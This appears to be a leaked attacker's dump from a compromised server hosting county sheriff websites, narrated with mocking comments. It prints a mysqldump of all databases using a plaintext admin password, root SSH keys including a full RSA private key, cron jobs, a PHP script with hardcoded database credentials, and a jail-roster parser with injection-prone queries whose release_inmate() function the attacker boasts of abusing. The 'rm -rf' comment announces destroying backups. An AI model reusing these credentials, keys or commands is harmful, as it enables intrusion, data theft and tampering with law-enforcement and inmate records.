-rw-------  1 root    root          276 Jul 20 10:44 .support_history
-rw-r--r--  1 root    root          150 Sep  2  2010 .tcshrc
-rw-r--r--  1 root    root      1143587 Jul 22 11:50 BOCS_warrant_query.sql
-rw-r--r--  1 root    root       187976 Jul 22 11:45 CRCSD_warrant_query.sql
-rw-r--r--  1 root    root         3543 Feb 23 09:42 Chicago
drwxrwxrwx 17      20 games        4096 Dec 30  2009 ImageMagick-6.4.8-3
-rw-r--r--  1 root    root     11148165 Apr  9  2009 ImageMagick-6.4.8-3.tar.gz
drwxr-xr-x  2 root    root         4096 Jul 14 15:15 MASS_PASS
-rw-r--r--  1 root    root        94158 Dec 13  2010 MCSOAL.search
-rw-r--r--  1 root    root      1501473 Jul 22 11:48 SFSOAR_warrant_query.sql
-rw-------  1 root    root          742 Feb  4  2008 anaconda-ks.cfg
drwxr-xr-x  2 root    root         4096 Jun 21 15:31 bin
drwxr-xr-x  2 root    root         4096 May  3 09:53 cert
-rw-r--r--  1 root    root         1898 May  3 09:09 csr.txt
drwxr-xr-x  3 root    root         4096 Sep 20  2010 downloads
-rw-r--r--  1 bocg    psacln          0 Jun 21 14:23 huh
-rw-r--r--  1 root    root         1177 Mar 24 08:50 injection_patch.php
-rw-r--r--  1 root    root         1182 Mar 24 08:50 injection_patch.php.bak
-rw-r--r--  1 root    root        13552 Feb  4  2008 install.log
-rw-r--r--  1 root    root         2540 Feb  4  2008 install.log.syslog
-rwxrwxrwx  1 mosa    psacln        803 Mar 24  2010 log.php
-rw-------  1 root    root         1733 Nov 30  2010 mbox
-rw-r--r--  1 root    root           93 Aug 23  2010 md5look.php
-rw-r--r--  1 root    root     36773929 Jul 21 22:04 mysql_backup.sql.gz
-rw-r--r--  1 root    root    133498898 Jul  1 08:17
mysql_dump_20110701-081158.sql.gz
-rw-r--r--  1 root    root    144511936 Jul  8 10:59
mysql_dump_20110708-104506.sql.gz
-rw-r--r--  1 root    root     37564532 Jul 15 06:04
mysql_dump_20110715-060000.sql.gz
-rw-r--r--  1 root    root     38461089 Jul 22 11:18
mysql_dump_20110722-111716.sql.gz
drwxr-xr-x  2 root    root         4096 Jun 20 09:46 p7zip
-rwxrwxrwx  1 mosa    psacln        475 Mar 24  2010 parse_geocodes.php
-rw-r--r--  1 root    root         7164 Jul  5 14:20 perms.log
drwxr-xr-x 14    1002    1002      4096 Aug 23  2006 php-5.1.6
-rw-r--r--  1 root    root      8187896 Aug 23  2006 php-5.1.6.tar.gz
-rw-r--r--  1 root    root           21 Apr 22 10:16 phpinfo.php
drwxr-xr-x  9 root    root         4096 Jul 21 16:24 psa
drwxrwxr-x  2     510     510      4096 Jun  3  2010 qmhandle-1.3.2
-rw-r--r--  1 webdept webdept     15423 Apr 12  2010 qmhandle-1.3.2.tar.gz
-rw-r--r--  1 root    root         4293 Jun 21 17:48 recaptcha.log
-rw-r--r--  1 root    root         9751 Jun 21 16:04 recaptchalib.php
-rw-r--r--  1 root    root         9751 Jun 21 16:04 recaptchalib.php.bak
-rw-r--r--  1 root    root         9747 Jun 21 15:56 recaptchalib.php.bak.bak
drwxr-xr-x  3 root    root         4096 Dec 21  2009 rootkit_checks
drwxr-xr-x  2 root    root         4096 Jul 20 11:01 scripts
-rw-r--r--  1 root    root           32 Jun 21 14:54 sete.sh
-rw-r--r--  1 root    root       355812 Jun 21 14:22 tat E
drwxr-xr-x  6 root    root         4096 Jun 21 15:38 tiny_mce
-rw-r--r--  1 root    root         2231 Jun 21 11:02 tiny_mce.php
-rw-r--r--  1 root    root         8957 Jun 21 14:50 tinymce.log
-rw-r--r--  1 root    root         6101 Jun 21 15:10 tinymce_php.log
-rw-r--r--  1 root    root      1141875 Jun 29 18:20 warrant_query.sql
-rw-r--r--  1 root    root     15503360 Jul 22 01:32 z

// FIRST LETS LOOT THIS MOFO

# mysqldump -q -u admin -p8w667nHzx%XFXb --all-databases --add-drop-table >
booty.sql

// GIMME THE KEYS TO YO HOUSE

# cat ~root/.ssh/*
ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA68pUVD3lTeQE5yDAWFOprdg05lmD0eaRznMwDgrAiZhhTEH/
D0crQDXJN5avBKIf1WdKBIi/AL7jlw4++CAdidYt1ZQ4VEQy3NVyVHqXmI/
FtE2sCjUlE8ID2u5Mm5X8Xf57ifkXlrSF6HgLwa8P4KxP3HqrZNgb93hRwP/
VPLkNA7Ef6pkjCMpcOtE0qYynDLswAQhW9abqhiCeWaHHPPTRwjlk0r/vHPwBns777pj5UgU3RkUG9/
1X70tKdZJR5Mp961WDGy3sC7Qi0hiM/
A3tRdo2NKpiZje0oRX3x8WH69vO9ZITeYcxcfu0o9AwiIVHzxJ/DmzFGbRtZ3W/Hw==
[email protected]
ssh-dss
AAAAB3NzaC1kc3MAAACBAO/Ikm7ZPgaBYr1OlCnI4h82hB2pEppq24r+VR7/
MVdKMKmUsQWYvZQG4CPphcXfUEY2sxBbAfSp53eR4AtBYomspYREzF045+
dgtLj2o7MjDYacAt4KpjuxzglGT2H4hyRhz3fWJSzyubpeeb09nPDNxXOg0l/
hJgPJWi8XjSj7AAAAFQD9MwyYL/
DDniuYXNRBcaAAGEXl2wAAAIEAneCU3pUZ44NFoOqQF74GZjbb0XW8r6vVCwCMpoW1F3H5OcDxMSDUOE
iZTil70hIQBelB8cus3xzn9NBQx/s/47Sb655IRYZDMWU8rwGzTP7U9/
AiciF0sLrKsyqpbNLlDl79b9wBEkkpO6ELJDPYHK0cVfD0gReeG/vhnQbXYcEAAACBAKrwVdO/
7dFdKX9wZzvzA89DLWx1lpIJmbteKzsmIIAoJJgfw7gITb0hKnaRw8v5xQgmC379VRfWC31feB4dORrj
njKLQLjBiu8jHeL+WqQ/vp/Fg9XhioLDwWHUb5iVrv0VeRbn8Q//
ltLrbBcqD0dslZ1nRN8i0NCY11B5ubq3 [email protected]
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwIP5sXbYS2wsbN8nFPHLzF2qHi/A/eRBcO8CrAtYk8akXpG7
ROZUdqlD/LnOfjykC+gv8qi8lWrnU9p/p5VjY8Gcv1JWLAfv5+GeA5bFnOpf1ZD7
gvUdFQXzK5JcFH0V03sJkV1m/oRHQ+V6t7HxTRfiaXLuuT/PCxo4tUuxeaOBJaWd
2sLYQaPOb6z27UDafPPg7o7mO0HPCxDSsPW07P0s+xB5QCsk84cFchImi8oZyPwK
6ySGvtY0YQRTE1Ixek86d/UM64PY/R5QvXy61FfbnVqlfbD5LbXM+6yLxhxSeHUy
MGpWkXRMrhroA71e1T68rHZU7qoALHZrdsL8hQIBIwKCAQEAn4NLO0U232hCERCr
Wn8z1TeqNkTTG4Kcn2bzld2D6Cg/DIdgps15Lx6IyhZMAjI+yAmG0F/stlFDVBtx
FdOM3aBr7vsUMxyE81SKPXzs4Rn3olOOkRQ8qwTuDijP87gZZhV89Mm7vPFCXNQV
OR5o2XowoIPNHSY91f/IljdnKkQ05862XywXDqKA4ZURgs2WhCSCGU+bMQ/HcrXx
whUi5tWgAH9JTd8cVHbTFNHS9nyf3rsqoKsPjUJZot+RpvBzUk75VsKxEm/NpPUz
foMVR/H0vHl1Y5rv6P0fLzBPUBPBSqM94ELa3niBgsOJsdmzWGUnuZjoYX2Q5RCD
qa5NHwKBgQDscK4JiSdSh7egaKrFqpDECVR3PtE0gsluxT0am6UmrelZIlILmfFf
a3J3QHnGzSPuIJit1Px1su5Jt6qwc2R98DRmGgb2n8BHdNQTU1bpmD4K9iwMD8fx
5bPNLcC69xKD9TSDS6FaHQRHdLnpwuho3m5mlbGISlVOCtU8/yTnUwKBgQDQcQ/B
CuHlfB86NIwTTIvTjYUBotk0NqMgHHyLeoZ+mz4kZWKZl7Dp9gC7lA3ljFZh4jIG
VD8hlmLflVSjY7EFDEjB7GQ3wsEMGXqVVd/jsE4TNnizehxhUh/0pp/bBHZg0OWZ
Lmak2rJxvt7uI5Bs9g+huy+Q3zi8oz3NW2HJxwKBgQDYLIHc1StEJFAdoYYxEPli
xrOgOW7Q7Jro7tjH3sLhiQ/cdyZxAca9pBDiDxBAu46QktS8MHHKsjjy8REWWt+J
FiFHaEDhfB2DKPxpcMR9zQWGXWoZqAdDkC9cgZpEih+Olwtwui0fMHjw37/rquMe
DTG84KJQuP2JLnnRXk2gSwKBgQDEh9unYggwJJJ4tTOdKuo8fh5R//FdHZJ9XK/x
OQJ3Xyv2bjhk7hvVRwgBURRqt4Slbt61gqHsd9mQ+oMAc/AMEuWDpF59t6ASuO/r
40DPXRZp4ubVG1yWRh4hL2OFW/qVzEYxV6Kbbx1GrKZOPsoAVbb3kzt59wmb6l7X
kKyoTQKBgEtKR9eP5drKiFtGbanMoe4R01yeoda8GcbHenuW8f4+SIzXS0BRYDMG
JccKz/XyIk+uxGS+qRDWUS3KFWz8/PUEpLOAEuCv45GpyUVb6XS7O6dn6uVRwEUr
UYo6Q+HxQ0ZvBOxtG/usuR0ykiV60GuTxjxVXE6urOWSaypWOaUc
-----END RSA PRIVATE KEY-----
ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAwIP5sXbYS2wsbN8nFPHLzF2qHi/A/
eRBcO8CrAtYk8akXpG7ROZUdqlD/LnOfjykC+gv8qi8lWrnU9p/p5VjY8Gcv1JWLAfv5+
GeA5bFnOpf1ZD7gvUdFQXzK5JcFH0V03sJkV1m/oRHQ+V6t7HxTRfiaXLuuT/
PCxo4tUuxeaOBJaWd2sLYQaPOb6z27UDafPPg7o7mO0HPCxDSsPW07P0s+
xB5QCsk84cFchImi8oZyPwK6ySGvtY0YQRTE1Ixek86d/UM64PY/R5QvXy61FfbnVqlfbD5LbXM+
6yLxhxSeHUyMGpWkXRMrhroA71e1T68rHZU7qoALHZrdsL8hQ==
[email protected]
72.167.49.114 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAnNcO5j+
xTWrszbZLZ7pdvvqTumaACzgJNW773NBt8laQEq0HUDfdt3tg5LpaIWQTOBD45jjkyiM2QNJq9CliNfJ
BnOajtUI90IN2M3xK78ihiHAsp4jdX6kKcpyQrffQ5i8fDllfQmcD/
7gndTzo273l8BmhQnvIxOTZwGcQPCnylQ7mxmV/KmRUF5uvo2dAkxSZnmOyDEMZLAAcic/+
98cBbxpXu4154ZLG8pXAJ3ASzm7oC4KsC0T2eFt6Um3/BVNMydFc9KiVbyBy4mUda8/
icvq90TYue3wXWIGwhIPMafSHst6SVAo1m9KLsCA3y1FbHEwK6YzUVi0ZtNmfRw==
72.167.49.108 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA6QYFzjOfwhDhJbKf7tN3CcP2VN5euOPRtuDEtuo8Hm4loFsKsVu/
Z4AAObT4nhksaowpND8vzfGikitgZibICYLlMcx8JjHFKaaqmbVYocVdm8HpHmYAvII3BJkIZJ9hT7IR
hp1bc4z/KeUgDVquCR4ak4f4hL9eY0w8Cxc3oM/jYw/bFg+nIBs0dctch3Pw/
4pREyBPO8p2BReWI7WlcA1i4NdzhoevE+
2qsvMzVWp7HGCIGOQDKgbBL65m2bJrDOZELrvDcBcdrogIpqLO6kSXOnjjVKdcT7zpQuFPR+7wj6t/
fyMcYPx80XmaDzKbGbNpHSPVsKTJsHqh+NRnqQ==
ssh-dss
AAAAB3NzaC1kc3MAAACBAO/Ikm7ZPgaBYr1OlCnI4h82hB2pEppq24r+VR7/
MVdKMKmUsQWYvZQG4CPphcXfUEY2sxBbAfSp53eR4AtBYomspYREzF045+
dgtLj2o7MjDYacAt4KpjuxzglGT2H4hyRhz3fWJSzyubpeeb09nPDNxXOg0l/
hJgPJWi8XjSj7AAAAFQD9MwyYL/
DDniuYXNRBcaAAGEXl2wAAAIEAneCU3pUZ44NFoOqQF74GZjbb0XW8r6vVCwCMpoW1F3H5OcDxMSDUOE
iZTil70hIQBelB8cus3xzn9NBQx/s/47Sb655IRYZDMWU8rwGzTP7U9/
AiciF0sLrKsyqpbNLlDl79b9wBEkkpO6ELJDPYHK0cVfD0gReeG/vhnQbXYcEAAACBAKrwVdO/
7dFdKX9wZzvzA89DLWx1lpIJmbteKzsmIIAoJJgfw7gITb0hKnaRw8v5xQgmC379VRfWC31feB4dORrj
njKLQLjBiu8jHeL+WqQ/vp/Fg9XhioLDwWHUb5iVrv0VeRbn8Q//
ltLrbBcqD0dslZ1nRN8i0NCY11B5ubq3 [email protected]


// NOW LETS SEE WHAT YOU WORKING WITH

# cat ~root/scripts/*

#!/bin/sh
datex=$(date +'%Y%m%d-%H%M%S')
file=mysql_dump_$datex.sql.gz
echo Backup is $file
PASSWORD=`cat /etc/psa/.psa.shadow`

 mysqldump -q -u admin -p$PASSWORD --all-databases --add-drop-table | gzip >
~/$file
0,15,30,45	*	*	*	*	/usr/local/psa/admin/sbin/backupmng >/dev/null
2>&1
0	1	*	*	1	/usr/local/psa/libexec/modules/watchdog/cp/secur-check
0	1	*	*	1	/usr/local/psa/libexec/modules/watchdog/cp/send-report
weekly
10	1	*	*	*	/usr/local/psa/libexec/modules/watchdog/cp/clean-
sysstats
15	1	*	*	*	/usr/local/psa/libexec/modules/watchdog/cp/pack-
sysstats day
15	1	*	*	1	/usr/local/psa/libexec/modules/watchdog/cp/pack-
sysstats week
15	1	1	*	*	/usr/local/psa/libexec/modules/watchdog/cp/pack-
sysstats month
15	1	1	*	*	/usr/local/psa/libexec/modules/watchdog/cp/pack-
sysstats year
20	1	*	*	*	/usr/local/psa/libexec/modules/watchdog/cp/clean-
events
0	3	*	*	7	/usr/local/psa/libexec/modules/watchdog/cp/clean-
reports
0       22      *       *       *       /root/scripts/mySQLbackup.sh | mail -s
"mySQL Backup" [email protected]
50	23	*	*	*	/usr/bin/rsnapshot daily
40	23	*	*	6	/usr/bin/rsnapshot weekly
0       1       *       *       *       /usr/bin/php
/var/www/vhosts/baxtercountysheriff.com/httpdocs/admin_dymin/modules/most_wanted
/config/delete_cron.php
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/baxtercountysheriff.com/home/parse_xml.php >/dev/null 2>&1
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/lawrencecosheriff.com/home/parser.php >/dev/null 2>&1
#*/5	*	*	*	*	/usr/bin/php
/var/www/vhosts/mostwantedwebsites.net/subdomains/lawmo/httpdocs/home/parser.php
>/dev/null 2>&1
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/cherokeecountyalsheriff.com/home/parser.php >/dev/null 2>&1
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/jocomosheriff.org/home/parse_roster.php >>
/backup/johms_parse_log.txt
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/stonecountymosheriff.com/home/parse_roster.php >>
/backup/stoms_parse_log.txt 2>&1
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/crosscountysheriff.org/home/Cross\ County/parse_pcv.php
>/dev/null 2>&1
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/boonesheriff.com/home/parse_pcv.php >/dev/null 2>&1
*/16    *       *       *       *       /usr/bin/php
/var/www/vhosts/crosscountysheriff.org/home/Cross\ County/warrant_parser.php
>/dev/null 2>&1
*/15    *       *       *       *       /usr/bin/php
/var/www/vhosts/boonesheriff.com/home/warrant_parser.php >/dev/null 2>&1
*/15    *       *       *       *       /usr/bin/php
/var/www/vhosts/tunicamssheriff.com/httpdocs/RPC/test.php >/dev/null 2>&1
*/10    *       *       *       *       /usr/bin/php
/var/www/vhosts/jonesso.com/home/parse.php >> /backup/JONMS_INMATE_ROSTER.log
2>&1
*/15    *       *       *       *       /usr/bin/php
/var/www/vhosts/prattcountysheriff.com/home/parse_roster.php >/dev/null 2>&1
*/15    *       *       *       *       /usr/bin/php
/var/www/vhosts/prattcountysheriff.com/home/parse_warrants.php >/dev/null 2>&1
*/15    *       *       *       *       /usr/bin/php
/var/www/vhosts/jeffersoncountykssheriff.com/home/parse_roster.php >>
/backup/jcsoks_inamte_parse_log.txt
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/stfranciscountysheriff.org/home/parse_pcv.php >/dev/null 2>&1
*/5     *       *       *       *       /usr/bin/php
/var/www/vhosts/howardcountysheriffar.com/home/parse_pcv.php >/dev/null 2>&1
0       6       *       *       *       /usr/bin/php
/var/www/vhosts/baxtercountysheriff.com/httpdocs/admin/publish_roster.php
>/dev/null 2>&1
5       6       *       *       *       /usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/admin/modules/inmate_roster/
publish.php >/dev/null 2>&1
10      6       *       *       *       /usr/bin/php
/var/www/vhosts/cherokeecountyalsheriff.com/httpdocs/admin/modules/inmate_roster
/publish.php >/dev/null 2>&1
15      6       *       *       *       /usr/bin/php
/var/www/vhosts/lawrencecosheriff.com/httpdocs/admin/modules/inmate_roster/
publish.php >/dev/null 2>&1
20      6       *       *       *       /usr/bin/php
/var/www/vhosts/tunicamssheriff.com/httpdocs/admin/modules/inmate_roster/publish
.php >/dev/null 2>&1
30	6	*	*	*	/usr/bin/php
/var/www/vhosts/boonesheriff.com/httpdocs/admin/modules/inmate_roster/publish.
php >/dev/null 2>&1
0	10	*	*	*	/usr/bin/php
/var/www/vhosts/prattcountysheriff.com/httpdocs/admin/modules/inmate_roster/
publish.php >/dev/null 2>&1
25      6       *       *       *       /usr/bin/php
/var/www/vhosts/jocomosheriff.org/httpdocs/admin/modules/inmate_roster/publish.
php >/dev/null 2>&1
40      6       *       *       *       /usr/bin/php
/var/www/vhosts/jeffersoncountykssheriff.com/httpdocs/admin/modules/
inmate_roster/publish.php >/dev/null 2>&1
50      6       *       *       *       /usr/bin/php
/var/www/vhosts/jonesso.com/httpdocs/admin/modules/inmate_roster/publish.php
>/dev/null 2>&1
50      5       *       *       *       /usr/bin/php
/var/www/vhosts/stfranciscountysheriff.org/httpdocs/admin/modules/inmate_roster/
publish.php >/dev/null 2>&1
0	2	*	*	*	/usr/bin/php
/var/www/vhosts/marionsoal.com/httpdocs/admin/modules/inmate_roster/cron/cron.
php
40      1       *       *       *       /usr/bin/find /var/www/vhosts/ -mtime -1
| /bin/grep -v statistics | /bin/grep -v counter 2>&1 | perl -wple 'BEGIN{print
"Changed Web Files - New GoDaddy"}'| mail -s "Changed Web Files - GoDaddy" -c
[email protected] -c [email protected] -c [email protected] root
0       *       *       *       *	/usr/bin/find
/var/www/vhosts/*/httpdocs/uploads/*.php | grep -v -e
"watermark_wanted_photo.php" -e "checkimages.php" | mail -s "Go Daddy - Upload
Scanner" -c [email protected] -c [email protected] -c [email protected] root
0       1       *       *       *       /backup/mail_logs/parse_mail_log.sh
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/grantcountyar.com/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/crosscountyar.org/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/izardhometownhealth.com/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/cityofwynne.com/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/boonecountyar.com/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/barrycountysheriff.com/httpdocs/cron/purge_wanted.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/izardcountyar.org/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/mosheriffs.com/httpdocs/cron/cron.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/stfranciscountysheriff.org/httpdocs/cron/purge_events.php
        1       0       *       *       *       /usr/bin/php
/var/www/vhosts/knoxcountysheriffil.com/httpdocs/cron/purge_events.php
*/2     *       *       *       *       /usr/bin/php
/var/www/vhosts/gra_upload_scanner.php >/dev/null 2>&1
0      1       *       *       *       
/var/www/vhosts/mostwantedwebsites.net/subdomains/code/httpdocs/search/cron.sh
>/dev/null
#
# BCSD Site Search Cron
0      1       *       *       *        cd
/var/www/vhosts/baxtercountysheriff.com/httpdocs/search/admin/ && /usr/bin/php
/var/www/vhosts/baxtercountysheriff.com/httpdocs/search/admin/spider.php -u
http://baxtercountysheriff.com/ -r -n
http://baxtercountysheriff.com/warrants.php?find=all >/dev/null 2>&1
#
# CRCSD Site Search Cron
5      1       *       *       *        cd
/var/www/vhosts/crosscountysheriff.org/httpdocs/search/admin/ && /usr/bin/php
/var/www/vhosts/crosscountysheriff.org/httpdocs/search/admin/spider.php -u
http://crosscountysheriff.org/ -r -n
http://crosscountysheriff.org/warrants.php?find=all >/dev/null 2>&1
#
#
# MCSD Site Search Cron
10      1       *       *       *        cd
/var/www/vhosts/marioncountysheriffar.com/httpdocs/search/admin/ && /usr/bin/php
/var/www/vhosts/marioncountysheriffar.com/httpdocs/search/admin/spider.php -u
http://marioncountysheriffar.com/ -r -n
http://marioncountysheriffar.com/warrants.php?find=all >/dev/null 2>&1
#
#
# SFSOAR Site Search Cron
15      1       *       *       *        cd
/var/www/vhosts/stfranciscountysheriff.org/httpdocs/search/admin/ &&
/usr/bin/php
/var/www/vhosts/stfranciscountysheriff.org/httpdocs/search/admin/spider.php -u
http://stfranciscountysheriff.org/ -r -n
http://stfranciscountysheriff.org/warrants.php?find=all >/dev/null 2>&1
#
#
# GCSOMS Site Search Cron
0      1       *       *       *        cd
/var/www/vhosts/georgecountymssheriff.com/httpdocs/search/admin/ && /usr/bin/php
/var/www/vhosts/georgecountymssheriff.com/httpdocs/search/admin/spider.php -u
http://georgecountymssheriff.com/ -r -n
http://georgecountymssheriff.com/warrants.php?find=all >/dev/null 2>&1
#
#
# CPSOLA Site Search Cron
0      1       *       *       *        cd
/var/www/vhosts/cameronso.org/httpdocs/search/admin/ && /usr/bin/php
/var/www/vhosts/cameronso.org/httpdocs/search/admin/spider.php -u
http://cameronso.org/ -r -n http://cameronso.org/warrants.php?find=all
>/dev/null 2>&1
#
#
# MCSOGA Site Search Cron
0      1       *       *       *        cd
/var/www/vhosts/meriwethercountysheriff.org/httpdocs/search/admin/ &&
/usr/bin/php
/var/www/vhosts/meriwethercountysheriff.org/httpdocs/search/admin/spider.php -u
http://meriwethercountysheriff.org/ -r -n
http://meriwethercountysheriff.org/warrants.php?find=all >/dev/null 2>&1
#
47	23	*	*	*	/usr/sbin/ntpdate -b -s time.nist.gov
#!/bin/sh

PASSWORD=`cat /etc/psa/.psa.shadow`

mysqldump -u  admin -p$PASSWORD --all-databases --add-drop-table |gzip -v9 >
/root/mysql_backup.sql.gz
#!/bin/bash
#
# Scan for PHP in upload folders
#
MAILTO="-c [email protected] -c [email protected] -c [email protected] root"
EXCLUDES="-e watermark_wanted_photo.php -e checkimages.php -e
watermark_recalled_photo.php"
lineify (){
for i in $*
do
  echo $i
done
}
# testing
#EXCLUDES="numnum"
#MAILTO="[email protected]"
#
UHOH=$(/usr/bin/find /var/www/vhosts/*/httpdocs/uploads/*.php | \
	grep -v $EXCLUDES)
if [ "${UHOH}xx" != "xx" ]
then
	lineify $UHOH |  mail -s "Go Daddy - Upload Scanner" $MAILTO
fi


// HARDCODED MYSQL ROOT PASSWORDS... THE SIGN OF ANY SECURE SYSADMIN

# cat ~root/MASS_PASS/masspass.php

<?php
error_reporting(0);
if(php_sapi_name() == 'cli' && empty($_SERVER['REMOTE_ADDR'])) {
echo md5('Y9BNtSeb').PHP_EOL;
	//custom safe_query, should work like normal, just allows passing of custom
connect
	function safe_query($q, $u='', $p='', $d='', $s='localhost'){
		$l = mysql_connect($s,$u,$p) or die("ERROR: Could not connect with USER:
$u PASS: $p ".PHP_EOL.mysql_error);
		if($d != ''){
			mysql_select_db($d,$l) or die("ERROR: Could not select DATABASE:
$d".PHP_EOL);
		}
		$r = mysql_query($q,$l)/* or die("ERROR: Could not execute QUERY: $q
".PHP_EOL.mysql_error()) */;
		return $r;
	}

	$GD_USER = 'admin';
	$GD_PASS = '8w667nHzx%XFXb';
	$GD_SERV = 'localhost';

	$options = getopt("n::o::");

	$query = 'SHOW DATABASES';

	$result = safe_query($query, $GD_USER, $GD_PASS, '', $GD_SERV);

	while($row = mysql_fetch_array($result,MYSQL_NUM)){

		$query = 'SELECT password FROM dymin_user WHERE username = "bjm"';
		$r = safe_query($query, $GD_USER, $GD_PASS, $row[0], $GD_SERV);
		echo $row[0].' - '.mysql_result($r,0,'password').PHP_EOL;
		if(isset($options['n']) && isset($options['o'])){
			//echo 'UPDATE dymin_user SET password =
"'.mysql_escape_string($options['n']).'" WHERE username = "bjm" AND password =
"'.mysql_escape_string($options['o']).'"'.PHP_EOL;
			safe_query('UPDATE dymin_user SET password =
"'.mysql_escape_string($options['n']).'" WHERE username = "bjm" AND password =
"'.mysql_escape_string($options['o']).'"', $GD_USER, $GD_PASS, '', $GD_SERV);
		}
	}

}else{
	echo 'This script can only be ran from the command line!'.PHP_EOL;
	exit();
}
?>

// GOTTA MAKE SURE TO RM -RF THIS PART FIRST

# ls -al /backup

total 318424
drwxr-xr-x  9 root root      4096 Jul 14 11:30 .
drwxr-xr-x 26 root root      4096 Feb 22 22:21 ..
-rw-r--r--  1 root root     17015 Jul 14  2010 ActiveWarrantsList.txt.back
-rw-r--r--  1 root root       175 May 12 09:36 BCSD_PARSE_XML
drwxrwxrwx  2 root root      4096 Jun 29 18:23 BOCS_WARRANTS
drwxrwxrwx  2 root root      4096 Jun 29 18:24 CRCSD_WARRANTS
-rwxrwxrwx  1 root root  20852332 Jul 22 22:20 JONMS_INMATE_ROSTER.log
-rw-r--r--  1 root root     90737 Mar  2 08:50 JONMS_INMATE_ROSTER.log.2.gz
-rwxrwxrwx  1 root root    324196 Feb  7 09:20 JONMS_INMATE_ROSTER.log.gz
-rwxrwxrwx  1 root root    286813 Oct 28  2010 JONMS_INMATE_ROSTER.log.gz.0
-rwxrwxrwx  1 root root     88758 Aug 10  2010 JONMS_INMATE_ROSTER.log.gz.1
-rw-r--r--  1 root root  13864960 Apr 21 08:19 POALAC04212011.tar
-rw-r--r--  1 root root  10833920 Mar  7 16:53 POALAC_BACKUP.tar
-rw-r--r--  1 root root  13864960 Apr 20 16:09 POALAC_BACKUP_04202011.tar
drwxrwxrwx  2 root root      4096 Jun 29 18:24 SFSOAR_WARRANTS
-rw-r--r--  1 root root  68177920 May  3 09:47 arsa.05032011.tar
drwxr-xr-x  3 root root      4096 Apr 21 11:06 bcsd
-rw-r--r--  1 root root  55494137 Jul 22 22:20 crcsd_query_log.txt
-rw-r--r--  1 root root   1080247 Apr  7 13:05 crcsd_query_log.txt.04072011.gz
-rwxrwxrwx  1 root root   4181055 Feb  7 09:25 crcsd_query_log.txt.gz
-rw-r--r--  1 root root 116504777 Jul 22 22:15 jcsoks_inamte_parse_log.txt
-rw-r--r--  1 root root    527887 Apr  7 13:00
jcsoks_inamte_parse_log.txt.04072011.gz
-rwxrwxrwx  1 root root   1568892 Feb  7 09:15 jcsoks_inamte_parse_log.txt.gz
-rw-r--r--  1 root root    411831 Sep 13  2010 jcsoks_inamte_parse_log.txt.gz.0
-rwxrwxrwx  1 root root    736089 Feb  8 13:44 jcsoks_query_log.txt.gz
-rw-r--r--  1 root root  12029931 Jul 22 22:20 johms_parse_log.txt
-rw-r--r--  1 root root     52276 Jun 14 13:30 johms_parse_log.txt.06142011.gz
-rw-r--r--  1 root root     24206 Mar 18 10:55 johms_parse_log.txt.gz
drwxr-xr-x  2 root root      4096 Jul 22 01:00 mail_logs
drwxr-xr-x  4 root root      4096 Jul  6  2010 parse_logs
drwx------ 13 root root      4096 Feb 23 00:50 snapshots
-rw-r--r--  1 root root   3680191 Jul 22 22:21 stoms_parse_log.txt
-rw-r--r--  1 root root    890880 Mar  2 09:18 z


// NOW THIS LOOKS INTERESTING
// YOU BETTER BELIEVE WE CALLED release_inmate() MORE THAN A FEW TIMES

# cat /var/www/vhosts/jocomosheriff.org/home/parse_roster.php

<?
	if(date('d') == '1'  && date('H') < '2'){
		shell_exec('rm /backup/johms_parse_log.txt');
	}

	function safe_query($query){
		$link = mysql_connect('localhost','johms','4smhoj2');
		mysql_select_db('JOHMS',$link);
		return mysql_query($query,$link);
	}
	function parse_csv($filename,$target_table,$field_map){
		$file = file($filename);
		$inmates = array();
		foreach($file as $line_num => $line_data){
			$query = 'INSERT INTO '.$target_table.' SET ';
			$line_data = explode(',',$line_data);
			$i=0;
			$inmates[] = $line_data[0];
			foreach($field_map as $field_num => $db_field){
				if($db_field == 'booking_date'){
					$line_data[$field_num] =
date('Y-m-d',strtotime($line_data[$field_num])).'", booking_time =
"'.substr($line_data[$field_num],-8).'';
					//echo $line_data[$field_num],PHP_EOL;
				}
				if($i != 0){
					$query .= ', '.$db_field.' = "'.$line_data[$field_num].'"';
				}else{
					$query .= $db_field.' = "'.$line_data[$field_num].'"';
				}
			$i++;
			}
			//echo $query,PHP_EOL;

			safe_query($query);
			unset($query);
		}
	return $inmates;
	}

	function release_inmate($booking_num){
		$date = date("Y-m-d");
		$time = date("Hi");
		$query = "update dymin_jail_roster set release_date = '$date',
release_time = '$time' where booking_num = '$booking_num'";
		safe_query($query);
	}

	function is_in_jail($booking_number){
		$query = "select booking_num from dymin_jail_roster where booking_num =
'$booking_number'";
		$result = safe_query($query);
		$num = mysql_num_rows($result);
		if($num == ''){return false;}else{return true;}
	}

	function build_old_inmates(){
		$inmates = array();
		$r = safe_query('SELECT * FROM dymin_jail_roster WHERE release_date =
""');
		while($row = mysql_fetch_array($r)){
			$inmates[] = $row['booking_num'];
		}
	return $inmates;
	}

	function build_new_inmates(){
		$inmates = array();
		$file =
file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt');
